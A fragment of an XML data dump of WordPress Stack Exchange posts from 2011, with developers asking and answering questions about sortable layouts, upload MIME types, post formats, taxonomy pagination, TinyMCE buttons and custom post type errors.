&#xA;    $box_size = c3m_get_field($prefix.'box_size', FALSE);&#xA;    $box_image = c3m_get_field($prefix.'post_box_image', FALSE);&#xA;    $overlay_class = c3m_get_field($prefix.'overlay_class', FALSE);&#xA;&#xA;    if ( c3m_get_field($prefix.'external_link', FALSE) ) {&#xA;    $post_link = c3m_get_field($prefix.'external_link', FALSE);&#xA;    } else&#xA;            { $post_link = post_permalink(); &#xA;    } ?&amp;gt;     &#xA;     &amp;lt;li class=&quot;&amp;lt;?php echo $box_size;?&amp;gt;  ui-state-default&quot;&amp;gt;&#xA;        &amp;lt;article &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo  '&amp;lt;a href=&quot;'.$post_link.'&quot; &amp;gt;&amp;lt;img src=&quot;'.esc_url($box_image).'&quot; alt=&quot;Image via xxxxx.com&quot; /&amp;gt;&amp;lt;/a&amp;gt;'; ?&amp;gt;&#xA;                &amp;lt;div class=&quot;post-box &amp;lt;?php echo $overlay_class;?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php if ( c3m_get_field( $prefix.'text_display', FALSE) ) { ?&amp;gt;     &#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $post_link?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt; &#xA;                &amp;lt;p&amp;gt;&amp;lt;?php echo substr($post-&amp;gt;post_excerpt, 0, 90) . '...'; ?&amp;gt;&amp;lt;/p&amp;gt;            &#xA;                &amp;lt;?php } ?&amp;gt;               &#xA;                &amp;lt;/div&amp;gt;&#xA;         &amp;lt;/article&amp;gt;&#xA;     &amp;lt;/li&amp;gt;              &#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;       &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The javascript is just the basic default sortable instructions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;    jQuery(&quot;#sortable&quot;).sortable();&#xA;  });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are methods available using &lt;a href=&quot;https://github.com/carhartl/jquery-cookie&quot; rel=&quot;nofollow&quot;&gt;cookies&lt;/a&gt; to save the state but I also need to disable the sortable drag and drop for non admin users so I really need to save to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for the most creative and usable method and will award a 100 point bounty to the best answer.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I got &lt;a href=&quot;http://wordpress.stackexchange.com/users/838/somatic&quot;&gt;somatic's&lt;/a&gt; answer working with one minor change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ajaxurl doesn't return the value on non admin pages so I used &lt;code&gt;wp_localize_script( 'functions', 'MyAjax', array( 'ajaxurl' =&amp;gt; admin_url( 'admin-ajax.php' ) ) );&lt;/code&gt; to define the value and changed the javascript line under options to:&lt;br&gt;&#xA; &lt;code&gt;url: MyAjax.ajaxurl,&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To limit access to arranging the order to only admins I added a conditional to my wp_enqueue_script function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function c3m_load_scripts() { &#xA;    if ( current_user_can( 'edit_posts' ) ) {&#xA;        wp_enqueue_script( 'jquery-ui' );&#xA;        wp_enqueue_script( 'functions', get_bloginfo( 'stylesheet_directory' ) . '/_/js/functions.js', array( 'jquery', 'jquery-ui' ), false);&#xA;        wp_localize_script( 'functions', 'MyAjax', array( 'ajaxurl' =&amp;gt; admin_url( 'admin-ajax.php' ) ) );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm going to do a little more testing and mark this question as solved and award the bounty.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-08T02:54:20.757" LastActivityDate="2011-08-29T01:10:19.417" Title="How to save the state of a drag and drop jQuery UI Sortables front end layout editor?" Tags="&lt;jquery&gt;&lt;front-end&gt;&lt;jquery-ui&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="5" />
  <row Id="16343" PostTypeId="2" ParentId="16222" CreationDate="2011-05-04T14:26:48.367" Score="0" ViewCount="" Body="&lt;p&gt;WordPress doesnt appear to have anywhere to change these setting other than what you have done by doing it in the DB. But have you tried using this code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter('upload_mimes', 'custom_upload_mimes');&#xA;function custom_upload_mimes ( $existing_mimes = array() ) {&#xA;    // add your extension to the array&#xA;    $existing_mimes['ppt'] = 'application/vnd.ms-powerpoint';&#xA;    // or: $existing_mimes['ppt|pot|pps'] = 'application/vnd.ms-powerpoint';&#xA;    // to add multiple extensions for the same mime type&#xA;    // add as many as you like&#xA;    // removing existing file types&#xA;    unset( $existing_mimes['exe'] );&#xA;    // add as many as you like&#xA;    // and return the new full result&#xA;    return $existing_mimes;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use that code in your themes functions file. The filter &lt;code&gt;upload_mimes&lt;/code&gt; apparently lets you set other allowed upload extensions and also correctly sets the extension mime type for use in WP. Plus the benefit of doing it this way is that its upgrade safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need a list of mime types: &lt;a href=&quot;http://www.w3schools.com/media/media_mimeref.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.w3schools.com/media/media_mimeref.asp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-04T14:26:48.367" CommentCount="1" />
  <row Id="16344" PostTypeId="2" ParentId="16136" CreationDate="2011-05-04T14:38:25.593" Score="1" ViewCount="" Body="&lt;p&gt;You can change the list that appears in the post format meta box, but when you save the post the submitted value is checked against the registered post formats, and your code probably did not run there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution is to register &lt;em&gt;all&lt;/em&gt; post formats that you will use with your theme, and then limit them based on the post type by replacing the standard meta box with one of your own. This will only limit the available options in the meta box, it won't restrict them when you save a post, but you can probably add extra checking to prevent adventurous users from setting &quot;disallowed&quot; post formats.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register all post types that we will use&#xA;add_action( 'after_setup_theme', 'wpse16136_after_setup_theme', 11 );&#xA;function wpse16136_after_setup_theme()&#xA;{&#xA;    add_theme_support( 'post-formats', array( 'aside', 'gallery', 'video' ) );&#xA;}&#xA;&#xA;// Register our custom post type, and link the post formats to the post types&#xA;// Yes, you can (ab)use add_post_type_support to save extra data like this&#xA;add_action( 'init', 'wpse16136_init' );&#xA;function wpse16136_init()&#xA;{&#xA;    register_post_type( 'wpse16136', array(&#xA;        'public' =&amp;gt; true,&#xA;        'label' =&amp;gt; 'WPSE 16136',&#xA;        'supports' =&amp;gt; array( 'title', 'editor' ),&#xA;    ) );&#xA;    add_post_type_support( 'wpse16136', 'post-formats', array( 'gallery', 'video' ) );&#xA;    add_post_type_support( 'post', 'post-formats', array( 'aside', 'gallery' ) );&#xA;}&#xA;&#xA;// Replace the standard meta box callback with our own&#xA;add_action( 'add_meta_boxes', 'wpse16136_add_meta_boxes' );&#xA;function wpse16136_add_meta_boxes( $post_type )&#xA;{&#xA;    if ( ! get_post_type_object( $post_type ) ) {&#xA;        // It's a comment or a link, or something else&#xA;        return;&#xA;    }&#xA;    remove_meta_box( 'formatdiv', $post_type, 'side' );&#xA;    add_meta_box( 'wpse16136_formatdiv', _x( 'Format', 'post format' ), 'wpse16136_post_format_meta_box', $post_type, 'side', 'core' );&#xA;}&#xA;&#xA;// This is almost a duplicate of the original meta box&#xA;function wpse16136_post_format_meta_box( $post, $box ) {&#xA;    if ( current_theme_supports( 'post-formats' ) &amp;amp;&amp;amp; post_type_supports( $post-&amp;gt;post_type, 'post-formats' ) ) :&#xA;    $post_formats = get_theme_support( 'post-formats' );&#xA;&#xA;    // This is our extra code&#xA;    // If the post type has registered post formats, use those instead&#xA;    if ( is_array( $GLOBALS['_wp_post_type_features'][$post-&amp;gt;post_type]['post-formats'] ) ) {&#xA;        $post_formats = $GLOBALS['_wp_post_type_features'][$post-&amp;gt;post_type]['post-formats'];&#xA;    }&#xA;&#xA;    if ( is_array( $post_formats[0] ) ) :&#xA;        $post_format = get_post_format( $post-&amp;gt;ID );&#xA;        if ( !$post_format )&#xA;            $post_format = '0';&#xA;        $post_format_display = get_post_format_string( $post_format );&#xA;        // Add in the current one if it isn't there yet, in case the current theme doesn't support it&#xA;        if ( $post_format &amp;amp;&amp;amp; !in_array( $post_format, $post_formats[0] ) )&#xA;            $post_formats[0][] = $post_format;&#xA;    ?&amp;gt;&#xA;    &amp;lt;div id=&quot;post-formats-select&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;radio&quot; name=&quot;post_format&quot; class=&quot;post-format&quot; id=&quot;post-format-0&quot; value=&quot;0&quot; &amp;lt;?php checked( $post_format, '0' ); ?&amp;gt; /&amp;gt; &amp;lt;label for=&quot;post-format-0&quot;&amp;gt;&amp;lt;?php _e('Standard'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;?php foreach ( $post_formats[0] as $format ) : ?&amp;gt;&#xA;        &amp;lt;br /&amp;gt;&amp;lt;input type=&quot;radio&quot; name=&quot;post_format&quot; class=&quot;post-format&quot; id=&quot;post-format-&amp;lt;?php echo esc_attr( $format ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo esc_attr( $format ); ?&amp;gt;&quot; &amp;lt;?php checked( $post_format, $format ); ?&amp;gt; /&amp;gt; &amp;lt;label for=&quot;post-format-&amp;lt;?php echo esc_attr( $format ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo esc_html( get_post_format_string( $format ) ); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-04T14:38:25.593" />
  <row Id="16345" PostTypeId="2" ParentId="16206" CreationDate="2011-05-04T14:51:30.163" Score="1" ViewCount="" Body="&lt;p&gt;To properly validate input, you will need to use a combination of Javascript and PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend using the jQuery Validation plugin: &lt;a href=&quot;http://docs.jquery.com/Plugins/Validation&quot; rel=&quot;nofollow&quot;&gt;http://docs.jquery.com/Plugins/Validation&lt;/a&gt;. It will let you validate the inputs immediately and provide feedback to the user that something is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second step is to validate the data using PHP.  WordPress has a bunch of &lt;a href=&quot;http://codex.wordpress.org/Data_Validation&quot; rel=&quot;nofollow&quot;&gt;built-in validation functions&lt;/a&gt;, so I'd start there and if you can't find what you need simply build in the logic that you need.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-04T14:51:30.163" />
  <row Id="16346" PostTypeId="2" ParentId="16240" CreationDate="2011-05-04T14:51:34.600" Score="2" ViewCount="" Body="&lt;p&gt;While looking for possible pointers I found &lt;a href=&quot;http://wordpress.org/extend/plugins/search-autocomplete/&quot; rel=&quot;nofollow&quot;&gt;the SearchAutocomplete plugin&lt;/a&gt;, which seems to do what you want. You can see it in action &lt;a href=&quot;http://hereswhatidid.com/&quot; rel=&quot;nofollow&quot;&gt;at the site of the author&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://s.wordpress.org/extend/plugins/search-autocomplete/screenshot-1.gif?r=380767&quot; alt=&quot;Search box with autocomplete dropdown in different themes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-04T14:51:34.600" />
  <row Id="16347" PostTypeId="2" ParentId="16342" CreationDate="2011-05-04T15:04:34.120" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/TbR69/1/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/TbR69/1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Far from finished, but the idea is to send an ajax request on drag and drop. You may also want to trigger the ajax request only after clicking a &quot;save&quot; button or something. An array containing post IDs and new order would be sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'd have to update the posts in the database on the server end. Finally, add an &lt;code&gt;order&lt;/code&gt; parameter to your &lt;code&gt;WP_Query&lt;/code&gt; loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this gets you started. Anybody feel free to continue fiddling.&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-04T15:04:34.120" />
  <row Id="16348" PostTypeId="2" ParentId="16273" CreationDate="2011-05-04T15:08:43.650" Score="0" ViewCount="" Body="&lt;p&gt;I have a very lightweight plugin I created that renders the Twitter Tweet and Facebook Like button at the end of each blog post after the content on individual pages and after the excerpt on archive pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only want to use the Twitter button you can remove the call to the Facebook XFBML in plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download from the GitHub page:  &lt;a href=&quot;https://github.com/c3mdigital/C3M-Social-Share-Buttons&quot; rel=&quot;nofollow&quot;&gt;https://github.com/c3mdigital/C3M-Social-Share-Buttons&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-04T15:08:43.650" />
  <row Id="16351" PostTypeId="2" ParentId="16273" CreationDate="2011-05-04T15:51:44.183" Score="0" ViewCount="" Body="&lt;p&gt;If you don't mind making minor modifications to your theme, you can use Twitter's official &lt;a href=&quot;http://twitter.com/about/resources/tweetbutton&quot; rel=&quot;nofollow&quot;&gt;Tweet Button Generator&lt;/a&gt; to avoid using a plugin. You can customize the button's appearance and functionality, then just paste the code where you'd like it to appear in your theme.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-05-04T15:51:44.183" />
  <row Id="16352" PostTypeId="1" AcceptedAnswerId="16363" CreationDate="2011-05-04T16:07:05.033" Score="2" ViewCount="101" Body="&lt;p&gt;I'm pretty new to WordPress...&#xA;I'm trying to set up a few sites, each with their own top level domain name. What I want them to do is share some of the pages, but not others. For example - they would all share Services, Contact, and Team pages; but would each have their own Biography page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When one of the shared pages is updated, they're all updated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out if WP multisite is this or not? Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="5108" LastActivityDate="2011-05-20T06:32:18.830" Title="Multiple sites that share some pages, but not others" Tags="&lt;multisite&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="16353" PostTypeId="1" CreationDate="2011-05-04T16:53:25.577" Score="1" ViewCount="576" Body="&lt;p&gt;OK, so i'm messing with Custom Taxonomies for the second time and in both instances i've run into this problem where using the posts_per_page argument in either a query_posts or WP_query scenario.. basically, if i set a custom limit on posts per page, clicking the &quot;next&quot; or &quot;previous&quot; buttons give me 404 errors .. doesnt matter if i use a custom permalink structure or any of the defaults, same result. the only way ive successfully managed to control number of posts on a page is through the Reading Settings in the Dashboard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've found quite a few mentions of this same problem but have yet to find a working solution aside from above mentioned Dashboard settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;wordpress.org/support/topic/custom-taxonomy-navigation-problem-paged1-works-paged2-doesnt?replies=8#post-2093828&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;core.trac.wordpress.org/ticket/16168&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;wordpress.org/support/topic/custom-taxonomies-with-pagination-getting-404-page-not-found?replies=6#post-2093414&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, here's the site im working on with the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.purekreation.com&quot; rel=&quot;nofollow&quot;&gt;http://www.purekreation.com&lt;/a&gt;&#xA;(click on any of the sections in the nav and then try to navigate to previous pages at the bottom)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here's my current (non-working) code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;art&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php global $query_string, $paged, $wp_query, $wp;&#xA;        $count = 0;&#xA;        $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;        echo $paged;&#xA;        ?&amp;gt;&#xA;        &amp;lt;?php $term = get_query_var('term'); echo $term;?&amp;gt;&#xA;        &amp;lt;?php $tax = get_query_var('taxonomy'); echo $tax;?&amp;gt;&#xA;        &amp;lt;?php&#xA;        $taxquery=new WP_Query(array('tax_query'=&amp;gt;array(array('taxonomy'=&amp;gt;$tax,'field'=&amp;gt;'slug','terms'=&amp;gt;$term)),'post_type'=&amp;gt;'art','showposts'=&amp;gt;1,'paged'=&amp;gt;$paged));&#xA;        while ( $taxquery-&amp;gt;have_posts() ) : $taxquery-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php $genre = wp_get_post_terms($post-&amp;gt;ID, 'genre');?&amp;gt;&#xA;        &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class('post-'.$genre[0]-&amp;gt;slug.' post-art');?&amp;gt;&amp;gt; &#xA;            &amp;lt;h3 class=&quot;work-title&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;?php get_the_10(); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;the-content&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;footer class=&quot;COL-10 clear&quot;&amp;gt;&#xA;                &amp;lt;small class=&quot;post-meta&quot;&amp;gt;&amp;lt;?php $terms = get_the_term_list( $post-&amp;gt;ID, 'genre', 'Portfolio: ', ' ', '' );  echo $terms;?&amp;gt;&amp;lt;/small&amp;gt;&#xA;                &amp;lt;small class=&quot;post-meta&quot;&amp;gt;Project: &amp;lt;?php the_tags( '',', ','');?&amp;gt;&amp;lt;/small&amp;gt;&#xA;                &amp;lt;small class=&quot;post-meta&quot;&amp;gt;Client: &amp;lt;?php $meta = get_post_meta($post-&amp;gt;ID, 'client', true); if($meta==''){echo 'Self';}else{echo $meta;}?&amp;gt;&amp;lt;/small&amp;gt;&#xA;                &amp;lt;small class=&quot;post-meta right&quot;&amp;gt;&amp;lt;a href=&quot;#masthead&quot;&amp;gt;Back to top&amp;lt;/a&amp;gt;&amp;lt;/small&amp;gt;&#xA;                &amp;lt;div class=&quot;dash&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/footer&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;    &#xA;        &amp;lt;?php $count++; ?&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;                        &amp;lt;div id=&quot;nav-below&quot; class=&quot;pagination&quot;&amp;gt;&#xA;        &amp;lt;?php if($taxquery-&amp;gt;max_num_pages&amp;gt;1){?&amp;gt;&#xA;            &amp;lt;?php&#xA;            for($i=1;$i&amp;lt;=$taxquery-&amp;gt;max_num_pages;$i++){?&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php bloginfo('url');?&amp;gt;/?&amp;lt;?php echo $tax;?&amp;gt;=&amp;lt;?php echo $term;?&amp;gt;&amp;amp;&amp;lt;?php echo 'paged=' . $i; ?&amp;gt;&quot; &amp;lt;?php echo ($paged==$i)? 'class=&quot;selected&quot;':'';?&amp;gt;&amp;gt;&amp;lt;?php echo $i;?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;?php&#xA;            }&#xA;            if($paged!=$taxquery-&amp;gt;max_num_pages){?&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php bloginfo('url');?&amp;gt;/?&amp;lt;?php echo $tax;?&amp;gt;=&amp;lt;?php echo $term;?&amp;gt;&amp;amp;&amp;lt;?php echo 'paged=' . $i; //next link ?&amp;gt;&quot;&amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php // Reset Post Data&#xA;            wp_reset_postdata();&#xA;             // End the loop. Whew.?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- end #art --&amp;gt;&#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;im not the most skilled PHP guy but i know a decent amount about Wordpress and this problem has me literally losing sleep over it. if anyone has some input on this matter, it'd be GREATLY appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5109" LastActivityDate="2011-05-04T17:09:53.977" Title="Custom Taxonomy not working with posts_per_page in new WP_query (pagination problem)" Tags="&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;wp-query&gt;&lt;pagination&gt;&lt;paged&gt;" AnswerCount="1" />
  <row Id="16354" PostTypeId="2" ParentId="16353" CreationDate="2011-05-04T17:09:53.977" Score="4" ViewCount="" Body="&lt;p&gt;should it be..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('page')) ? get_query_var('page') : 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query in codex:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Pagination Note: You should set get_query_var( 'page' ); if you want your query to work with pagination. Since Wordpress 3.0.2, you do get_query_var( 'page' ) instead of get_query_var( 'paged' ). The pagination parameter 'paged' for WP_Query() remains the same.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-04T17:09:53.977" CommentCount="1" />
  <row Id="16356" PostTypeId="1" CreationDate="2011-05-04T17:55:33.530" Score="0" ViewCount="116" Body="&lt;p&gt;I'm trying to add shortcode for columns from within Wp-Admin. The shortcodes work great, when entered manually - but I'm trying to speed up the process by adding a button to TinyMCE. When the button is clicked, a pop up is produced that lets you choose the number of columns, and whether or not it is the last column. This works fine. My issue is with ed.setContent(). It seems to be duplicating each time I use the button. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//add column&#xA;tinymce.create('tinymce.plugins.column', {&#xA;    init: function(ed, url) {&#xA;        ed.addButton('column', {&#xA;            title: 'Add a Column',&#xA;            image: url + '/tinyMCE_column.png',&#xA;            onclick: function() {&#xA;                //create a pop up&#xA;                ed.windowManager.open({ id: &quot;sagalbot-columns&quot;, width: 480, height: &quot;auto&quot;, wpDialog: true });&#xA;                //reset columns&#xA;                var numColumns = null;&#xA;                //handle submits                    &#xA;                jQuery(&quot;#sagalbot-column-submit&quot;).click(function(e) {&#xA;                    e.preventDefault();&#xA;                    numColumns = jQuery(&quot;#sagalbot-column-count&quot;).val();&#xA;                    if (jQuery('#sagalbot-column-last').is(':checked')) { &#xA;                        numColumns += &quot;_last&quot;; &#xA;                    }&#xA;                    ed.windowManager.close();&#xA;                    ed.selection.setContent('['+numColumns+']' + ed.selection.getContent() + '[/'+numColumns+']');&#xA;                });                     &#xA;            },&#xA;            createControl: function(n, cm) {&#xA;                return null;&#xA;            }&#xA;        })&#xA;    }&#xA;});&#xA;tinymce.PluginManager.add('column', tinymce.plugins.column);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The button works fine until the second use. First use would produce:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[column]wrapped up column[/column]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But second use produces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[column]A second Column[/column][column][/column]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="5095" LastActivityDate="2011-05-04T17:55:33.530" Title="TinyMCE setContent duplication issue" Tags="&lt;tinymce&gt;&lt;plugin-tinymce&gt;" FavoriteCount="1" />
  <row Id="16359" PostTypeId="1" AcceptedAnswerId="16360" CreationDate="2011-05-04T18:21:14.897" Score="0" ViewCount="174" Body="&lt;p&gt;I have a custom post type created called 'missions'. When developing the site on my Dedicated Virtual, I had no problems. But I moved the site to a shared hosting grid server (mt) and now receive this error through out the admin.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: call_user_func_array()&#xA;  [function.call-user-func-array]: First&#xA;  argument is expected to be a valid&#xA;  callback, 'add_mission' was given in&#xA;  /nfs/c08/h02/mnt/125591/domains/mydomain.org/html/wp-includes/plugin.php&#xA;  on line 395&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only place that 'add_mission' is used in my theme code is in the functions when setting up the post type. Here is the code I have for that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_mission' );&#xA;function create_mission() {&#xA;    register_post_type( 'missions',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Missions' ),&#xA;                'singular_name' =&amp;gt; __( 'Mission' ),&#xA;                'add_new' =&amp;gt; __( 'Add New' ),&#xA;                'add_new_item' =&amp;gt; __( 'Add New Mission' ),&#xA;                'edit' =&amp;gt; __( 'Edit' ),&#xA;                'edit_item' =&amp;gt; __( 'Edit Mission' ),&#xA;                'new_item' =&amp;gt; __( 'New Mission' ),&#xA;                'view' =&amp;gt; __( 'View Mission' ),&#xA;                'view_item' =&amp;gt; __( 'View Mission' ),&#xA;                'search_items' =&amp;gt; __( 'Search Missions' ),&#xA;                'not_found' =&amp;gt; __( 'No missions found' ),&#xA;                'not_found_in_trash' =&amp;gt; __( 'No missions found in Trash' ),&#xA;                'parent' =&amp;gt; __( 'Parent Mission' ),&#xA;            ),&#xA;            'public' =&amp;gt; true,&#xA;            'menu_position' =&amp;gt; 4,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'capability_type' =&amp;gt; 'post',&#xA;            '_edit_link' =&amp;gt;  'post.php?post=%d',&#xA;            'hierarchical' =&amp;gt; true,&#xA;            'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'missions', 'with_front' =&amp;gt; true ),&#xA;            'supports' =&amp;gt; array( &#xA;                        'title',&#xA;                        'editor',&#xA;                        'author',&#xA;                        'thumbnail',&#xA;                        'excerpt',&#xA;                        'trackbacks',&#xA;                        'custom-fields',&#xA;                        'comments' ,&#xA;                        'page-attributes',&#xA;                        'templates' ),&#xA;            'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/assets/imgs/icon_posttype.png',&#xA;            'register_meta_box_cb' =&amp;gt; 'add_mission_metaboxes'&#xA;        )&#xA;    );&#xA;}&#xA;add_action('admin_init', 'add_mission');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More Info&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the issue is with my theme, as switching to the twentyten theme removes the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Version 5.2.14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress 3.1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a server issue? Or can I fix this through my code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched google and have been unable to find an instance of this error being thrown from a custom post type in wordpress. &lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-05-04T19:31:24.743" Title="Custom Post Type Causes Error: Warning: call_user_func_array()" Tags="&lt;custom-post-types&gt;&lt;php&gt;&lt;errors&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="16360" PostTypeId="2" ParentId="16359" CreationDate="2011-05-04T19:31:24.743" Score="1" ViewCount="" Body="&lt;p&gt;what's the add action at the bottom doing? It's not required for setting up CPTs, just the setup bit you have running on init.... I believe that is what's throwing the error &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to make it an answer. It was a suggestion, but if it worked for you, I'll make my comment an answer, then you can accept it!&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-05-04T19:31:24.743" />
